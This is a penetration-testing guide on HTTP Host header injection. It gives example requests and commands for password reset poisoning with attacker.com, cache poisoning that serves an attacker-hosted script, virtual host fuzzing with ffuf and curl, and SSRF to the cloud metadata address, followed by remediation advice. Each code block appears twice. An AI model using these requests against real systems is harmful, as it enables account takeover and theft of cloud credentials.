Host Header Injection
Host header injection exploits web applications that trust the HTTP Host header for generating URLs, routing requests, or making security decisions. This can lead to password reset poisoning, web cache poisoning, SSRF, and access to internal virtual hosts.
Warning
Tools & Resources
curl
Built-in on most OS Password Reset Poisoning
The most impactful host header attack. If the application uses the Host header to generate password reset links, an attacker can redirect the reset link to their server:
# Normal password reset request:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://target.com/reset?token=abc123
# and emails it to the victim.
# Attack: Inject attacker's domain in Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://attacker.com/reset?token=abc123
# Victim clicks the link → token sent to attacker's server
# Alternative headers to try if Host is blocked:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Or:
Host: target.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Original-URL: https://attacker.com/reset
Forwarded: host=attacker.com# Normal password reset request:
POST /forgot-password HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://target.com/reset?token=abc123
# and emails it to the victim.
# Attack: Inject attacker's domain in Host header:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# The app generates: https://attacker.com/reset?token=abc123
# Victim clicks the link → token sent to attacker's server
# Alternative headers to try if Host is blocked:
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Or:
Host: target.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Original-URL: https://attacker.com/reset
Forwarded: host=attacker.comTip
Web Cache Poisoning via Host Header
# If the response is cached and includes Host-derived URLs:
GET / HTTP/1.1
Host: attacker.com
# If the CDN caches the response, all users see:
# <script src="https://attacker.com/js/app.js"></script>
# Test with X-Forwarded-Host:
GET /static/page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Check response for cache headers:
# X-Cache: MISS → first request (poisoning it)
# X-Cache: HIT → subsequent requests (serving poisoned content)
# Also check:
# - Link tags, script src, meta refresh URLs
# - Open Graph / social media preview URLs
# - Canonical URL tags
# - Redirect Location headers# If the response is cached and includes Host-derived URLs:
GET / HTTP/1.1
Host: attacker.com
# If the CDN caches the response, all users see:
# <script src="https://attacker.com/js/app.js"></script>
# Test with X-Forwarded-Host:
GET /static/page HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
# Check response for cache headers:
# X-Cache: MISS → first request (poisoning it)
# X-Cache: HIT → subsequent requests (serving poisoned content)
# Also check:
# - Link tags, script src, meta refresh URLs
# - Open Graph / social media preview URLs
# - Canonical URL tags
# - Redirect Location headersVirtual Host Enumeration
# Discover internal virtual hosts by fuzzing the Host header:
# Using ffuf:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-fs 0 # Filter empty responses
# Using curl to test specific hosts:
curl -k -H "Host: admin.target.com" https://TARGET_IP/
curl -k -H "Host: internal.target.com" https://TARGET_IP/
curl -k -H "Host: staging.target.com" https://TARGET_IP/
curl -k -H "Host: dev.target.com" https://TARGET_IP/
curl -k -H "Host: localhost" https://TARGET_IP/
# Try accessing admin panels via Host header:
curl -H "Host: admin" http://TARGET_IP/
curl -H "Host: 127.0.0.1" http://TARGET_IP/admin# Discover internal virtual hosts by fuzzing the Host header:
# Using ffuf:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u https://TARGET_IP/ \
-H "Host: FUZZ.target.com" \
-fs 0 # Filter empty responses
# Using curl to test specific hosts:
curl -k -H "Host: admin.target.com" https://TARGET_IP/
curl -k -H "Host: internal.target.com" https://TARGET_IP/
curl -k -H "Host: staging.target.com" https://TARGET_IP/
curl -k -H "Host: dev.target.com" https://TARGET_IP/
curl -k -H "Host: localhost" https://TARGET_IP/
# Try accessing admin panels via Host header:
curl -H "Host: admin" http://TARGET_IP/
curl -H "Host: 127.0.0.1" http://TARGET_IP/adminSSRF via Host Header
# Some reverse proxies/load balancers route based on Host header:
GET / HTTP/1.1
Host: 169.254.169.254 # AWS metadata
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
# Absolute URL bypass:
GET https://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com
# Connection-state attacks:
# Send first request with valid Host, second with attacker Host
# on the same connection (HTTP/1.1 keep-alive)
GET / HTTP/1.1
Host: target.com
GET /admin HTTP/1.1
Host: 127.0.0.1# Some reverse proxies/load balancers route based on Host header:
GET / HTTP/1.1
Host: 169.254.169.254 # AWS metadata
GET /latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
# Absolute URL bypass:
GET https://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.com
# Connection-state attacks:
# Send first request with valid Host, second with attacker Host
# on the same connection (HTTP/1.1 keep-alive)
GET / HTTP/1.1
Host: target.com
GET /admin HTTP/1.1
Host: 127.0.0.1Testing Checklist
- 1. Send requests with modified Host header — does the response reflect it?
- 2. Test password reset with attacker Host — does the email link change?
- 3. Try X-Forwarded-Host, X-Host, Forwarded headers as alternatives
- 4. Check for cached responses that include Host-derived URLs
- 5. Fuzz for internal virtual hosts (admin, staging, dev, internal)
- 6. Test SSRF via Host header to cloud metadata endpoints
- 7. Test with duplicate Host headers
- 8. Test with port in Host header (target.com:attacker.com)
Evidence Collection
Request/Response: Burp capture showing injected Host and reflected URL
Email Screenshot: Password reset email with attacker-controlled URL
Collaborator Log: Burp Collaborator/webhook showing token received
CVSS Range: Password reset poisoning: 7.5–9.1 | Cache poisoning: 6.1–8.6
Remediation
- Allowlist Host values: Configure the application to only accept known Host header values.
- Use server-side URL configuration: Generate URLs from configuration, not from request headers.
- Ignore X-Forwarded-Host: Unless behind a trusted reverse proxy, ignore forwarded host headers.
- Cache key on Host: Ensure caching layers include the full Host header in cache keys.
False Positive Identification
- Reflection without impact: The Host header appearing in HTML comments or non-clickable locations may not be exploitable — confirm the reflected value is in href/src attributes or redirect targets.
- Load balancer behavior: Some load balancers normalize Host headers before forwarding — test from outside the LB to confirm the vulnerability is externally reachable.
- X-Forwarded-Host by design: Reverse proxies legitimately set X-Forwarded-Host — only report if the application uses it unsafely for URL construction.